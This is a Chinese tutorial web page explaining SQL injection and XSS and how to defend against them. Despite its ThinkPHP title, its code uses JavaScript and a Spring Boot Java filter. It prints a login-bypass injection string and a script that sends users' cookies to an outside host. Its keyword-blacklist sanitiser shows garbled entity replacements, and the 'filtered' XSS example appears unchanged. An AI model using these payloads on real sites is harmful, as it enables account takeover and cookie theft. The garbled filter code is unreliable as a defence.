您当前的位置:首页 > 电脑百科 > 程序开发 > 语言 > php

thinkphp如何防止sql注入xss攻击

时间:2019-10-14 13:16:49  来源:  作者:
thinkphp如何防止sql注入xss攻击

 

SQL注入简介

SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

而造成 SQL 注入的原因是因为程序没有有效的转义过滤用户的输入,使攻击者成功的向服务器提交恶意的 SQL 查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。

很多 Web 开发者没有意识到 SQL 查询是可以被篡改的,从而把 SQL 查询当作可信任的命令。殊不知,SQL 查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过 SQL 查询去运行主机系统级的命令。

SQL 注入原理

下面将通过一些真实的例子来详细讲解 SQL 注入的方式的原理。

考虑以下简单的管理员登录表单:

<form action="/login" method="POST">

<p>Username: <input type="text" name="username" /></p>

<p>Password: <input type="password" name="password" /></p>

<p><input type="submit" value="登陆" /></p>

</form>

后端的 SQL 语句可能是如下这样的:

let querySQL = `

SELECT *

FROM user

WHERE username='${username}'

AND psw='${password}'

`;

// 接下来就是执行 sql 语句

目的就是来验证用户名和密码是不是正确,按理说乍一看上面的 SQL 语句也没什么毛病,确实是能够达到我们的目的,可是你只是站在用户会老老实实按照你的设计来输入的角度来看问题,如果有一个恶意攻击者输入的用户名是 zhangsan’ OR 1 = 1 --,密码随意输入,就可以直接登入系统了。

冷静下来思考一下,我们之前预想的真实 SQL 语句是:

SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'

可以恶意攻击者的奇怪用户名将你的 SQL 语句变成了如下形式:

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'

在 SQL 中,-- 是注释后面的内容的意思,所以查询语句就变成了:

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1

这条 SQL 语句的查询条件永远为真,所以意思就是恶意攻击者不用我的密码,就可以登录进我的账号,然后可以在里面为所欲为,然而这还只是最简单的注入,牛逼的 SQL 注入高手甚至可以通过 SQL 查询去运行主机系统级的命令,将你主机里的内容一览无余,这里我也没有这个能力讲解的太深入,毕竟不是专业研究这类攻击的,但是通过以上的例子,已经了解了 SQL 注入的原理,我们基本已经能找到防御 SQL 注入的方案了。

相关推荐:《Thinkphp教程》

预防 SQL 注入

防止 SQL 注入主要是不能允许用户输入的内容影响正常的 SQL 语句的逻辑,当用户的输入的信息将要用来拼接 SQL 语句的话,我们应该永远选择不相信,任何内容都必须进行转义过滤,当然做到这个还是不够的,下面列出防御 SQL 注入的几点注意事项:

1、严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。

2、后端代码检查输入的数据是否符合预期,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。

3、对进入数据库的特殊字符(’,",,<,>,&,*,; 等)进行转义处理,或编码转换。基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库。

4、所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 MySQLjs 库的 query 方法中的 ? 占位参数。

mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);

5、在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,以及时修补被发现的 SQL 注入漏洞。网上有很多这方面的开源工具,例如 sqlmap、SQLninja 等。

6、避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。

7、不要过于细化返回的错误信息,如果目的是方便调试,就去使用后端日志,不要在接口上过多的暴露出错信息,毕竟真正的用户不关心太多的技术细节,只要话术合理就行。

XSS 攻击简介

XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 原理是攻击者往 web 页面里插入恶意的脚本代码(css代码、JAVAScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。

理论上来说,web 页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞;当然,我们也需要对模板视图中的输出数据进行过滤。

XSS 攻击示例

有一个博客网站,提供了一个 web 页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。 现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下:

<b>This is a XSS test!</b>

<script>

var cookie = document.cookie;

window.open("http://demo.com/getCookie.php?param="+cookie);

</script>

这是一段 XSS 攻击代码。当其他用户查看我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,如此,我就盗取了其他用户的 cookie 信息。

预防 XSS 攻击

核心思想

永远不要相信用户的输入,必须对输入的数据作过滤处理。

该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ’ " & < >。

比如,我刚刚的恶意代码被过滤后,会变为下面的代码:

<b>This is a XSS test!</b>

<script>

var cookie = document.cookie;

window.open("http://demo.com/getCookie.php?param="+cookie);

</script>

这样,就可以预防大部分 XSS 攻击了。

服务端代码处理

以springboot为例:

可利用过滤器进行设置,如下所示:

/**

* 防止sql注入,xss攻击

* 前端可以对输入信息做预处理,后端也可以做处理。

*/

public class XssHttpServletRequestWrApper extends HttpServletRequestWrapper {

private final Logger log = LoggerFactory.getLogger(getClass());

private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char

|declare|;|or|-|+";

private static Set<String> notAllowedKeyWords = new HashSet<String>(0);

private static String replacedString="INVALID";

static {

String keyStr[] = key.split("\|");

for (String str : keyStr) {

notAllowedKeyWords.add(str);

}

}

private String currentUrl;

public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {

super(servletRequest);

currentUrl = servletRequest.getRequestURI();

}

/**覆盖getParameter方法,将参数名和参数值都做xss过滤。

* 如果需要获得原始的值,则通过super.getParameterValues(name)来获取

* getParameterNames,getParameterValues和getParameterMap也可能需要覆盖

*/

@Override

public String getParameter(String parameter) {

String value = super.getParameter(parameter);

if (value == null) {

return null;

}

return cleanXSS(value);

}

@Override

public String[] getParameterValues(String parameter) {

String[] values = super.getParameterValues(parameter);

if (values == null) {

return null;

}

int count = values.length;

String[] encodedValues = new String[count];

for (int i = 0; i < count; i++) {

encodedValues[i] = cleanXSS(values[i]);

}

return encodedValues;

}

@Override

public Map<String, String[]> getParameterMap(){

Map<String, String[]> values=super.getParameterMap();

if (values == null) {

return null;

}

Map<String, String[]> result=new HashMap<>();

for(String key:values.keySet()){

String encodedKey=cleanXSS(key);

int count=values.get(key).length;

String[] encodedValues = new String[count];

for (int i = 0; i < count; i++){

encodedValues[i]=cleanXSS(values.get(key)[i]);

}

result.put(encodedKey,encodedValues);

}

return result;

}

/**

* 覆盖getHeader方法,将参数名和参数值都做xss过滤。

* 如果需要获得原始的值,则通过super.getHeaders(name)来获取

* getHeaderNames 也可能需要覆盖

*/

@Override

public String getHeader(String name) {

String value = super.getHeader(name);

if (value == null) {

return null;

}

return cleanXSS(value);

}

private String cleanXSS(String valueP) {

// You'll need to remove the spaces from the html entities below

String value = valueP.replaceAll("<", "<").replaceAll(">", ">");

value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");

value = value.replaceAll("\(", "& #40;").replaceAll("\)", "& #41;");

value = value.replaceAll("'", "& #39;");

value = value.replaceAll("eval\((.*)\)", "");

value = value.replaceAll("[\"\'][\s]*JavaScript:(.*)[\"\']", """");

value = value.replaceAll("script", "");

value = cleanSqlKeyWords(value);

return value;

}

private String cleanSqlKeyWords(String value) {

String paramValue = value;

for (String keyword : notAllowedKeyWords) {

if (paramValue.length() > keyword.length() + 4

&& (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.

contains(" "+keyword+" "))) {

paramValue = StringUtils.replace(paramValue, keyword, replacedString);

log.error(this.currentUrl + "已被过滤,因为参数中包含不允许sql的关键词(" + keyword

+ ")"+";参数:"+value+";过滤后的参数:"+paramValue);

}

}

return paramValue;

}

}

以上就是thinkphp如何防止sql注入xss攻击的详细内容,更多请关注其它相关文章!



Tags:sql注入   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  Tags: sql注入  点击:(21)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19  Tags: sql注入  点击:(52)  评论:(0)  加入收藏
(一)SQL注入。1.如何理解SQL注入? SQL注入是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手法。2.SQL注入是如何产生的? web开发人员无法保证所有的输入...【详细内容】
2021-09-17  Tags: sql注入  点击:(47)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  Tags: sql注入  点击:(67)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  Tags: sql注入  点击:(60)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  Tags: sql注入  点击:(66)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  Tags: sql注入  点击:(74)  评论:(0)  加入收藏
0&times;00:前言对于MYSQL知识的一个初总结 0&times;01:正文 MYSQL数据库特性1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只...【详细内容】
2021-07-29  Tags: sql注入  点击:(88)  评论:(0)  加入收藏
在本地搭建服务器,httpd-vhosts.conf 中设置本地绑定的域名: 其中,zzzphp为下载的zzzphp cms的内容。然后,本机上的zzzphp cms的目录结构为如下: 在按照要求安装好cms后,本地cms的...【详细内容】
2021-07-16  Tags: sql注入  点击:(80)  评论:(0)  加入收藏
得到一个像原来老师一样督促你、关心你的人很难。。。---- 网易云热评一、常用命令及函数1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回...【详细内容】
2021-05-13  Tags: sql注入  点击:(224)  评论:(0)  加入收藏
▌简易百科推荐
序言:前段时间织梦因为版权的问题在网上闹得沸沸扬扬,也提醒了众多开发者选择cms上应该谨慎使用,今天给大家展示一款自己搭建的内容管理系统,不用担心版权的问题,而且非常容易维...【详细内容】
2021-11-30  小程序软件开发    Tags:管理系统   点击:(34)  评论:(0)  加入收藏
准备安装包(PHP: Hypertext Preprocessor)下载安装包以及组件wget https://www.php.net/distributions/php-8.0.0.tar.bz2wget https://github.com/phpredis/phpredis/archive...【详细内容】
2021-11-09  mimic96    Tags:PHP   点击:(40)  评论:(0)  加入收藏
golang context 很好用,就使用php实现了github地址 : https://github.com/qq1060656096/php-go-context context使用闭坑指南1. 将一个Context参数作为第一个参数传递给传入和...【详细内容】
2021-11-05  1060656096    Tags:PHP   点击:(41)  评论:(0)  加入收藏
一段数组为例:$list = array:4 [ 0 => array:7 [ "id" => 56 "mer_id" => 7 "order_id" => "wx163265961408769974" "is_postage" => 0 "store_name" => "奇...【详细内容】
2021-09-29  七七小影视    Tags:PHP   点击:(65)  评论:(0)  加入收藏
利用JS的CryptoJS 3.x和PHP的openssl_encrypt,openssl_decrypt实现AES对称加密解密,由于需要两种语言对同一字符串的操作,而CryptoJS 的默认加密方式为“aes-256-cbc”,PHP端也...【详细内容】
2021-09-16  李老师tome    Tags:对称加密   点击:(79)  评论:(0)  加入收藏
1、checkdate()验证格利高里日期即:日期是否存在。checkdate(month,day,year);month必需。一个从 1 到 12 的数字,规定月。day必需。一个从 1 到 31 的数字,规定日。year必需。...【详细内容】
2021-08-31  七七小影视    Tags:时间函数   点击:(80)  评论:(0)  加入收藏
对于各类开发语言来说,整数都有一个最大的位数,如果超过位数就无法显示或者操作了。其实,这也是一种精度越界之后产生的精度丢失问题。在我们的 PHP 代码中,最大的整数非常大,我...【详细内容】
2021-08-26  硬核项目经理    Tags:PHP   点击:(83)  评论:(0)  加入收藏
遵从所有教材以及各类数据结构相关的书书籍,我们先从线性表开始入门。今天这篇文章更偏概念,是关于有线性表的一个知识点的汇总。上文说过,物理结构是用于确定数据以何种方式存...【详细内容】
2021-07-19  硬核项目经理    Tags:线性表   点击:(94)  评论:(0)  加入收藏
一、开启IIS全部功能。二、部署PHP1.官网下载并解压PHP: https://windows.php.net/downloads/releases/2.将php.ini-development文件改为php.ini3.修改php.ini(1)去掉注释,并修...【详细内容】
2021-07-15  炘蓝火诗  今日头条  Tags:PHP环境   点击:(129)  评论:(0)  加入收藏
一、环境说明本文中使用本地VM虚机部署测试。OS:CentOS Linux release 7.8.2003 (Core)虚机配置:2核CPU、4G内存①系统为CentOS 7.8 x64最小化安装,部署前已完成系统初始化、...【详细内容】
2021-06-25  IT运维笔记  今日头条  Tags:PHP8.0.7   点击:(141)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条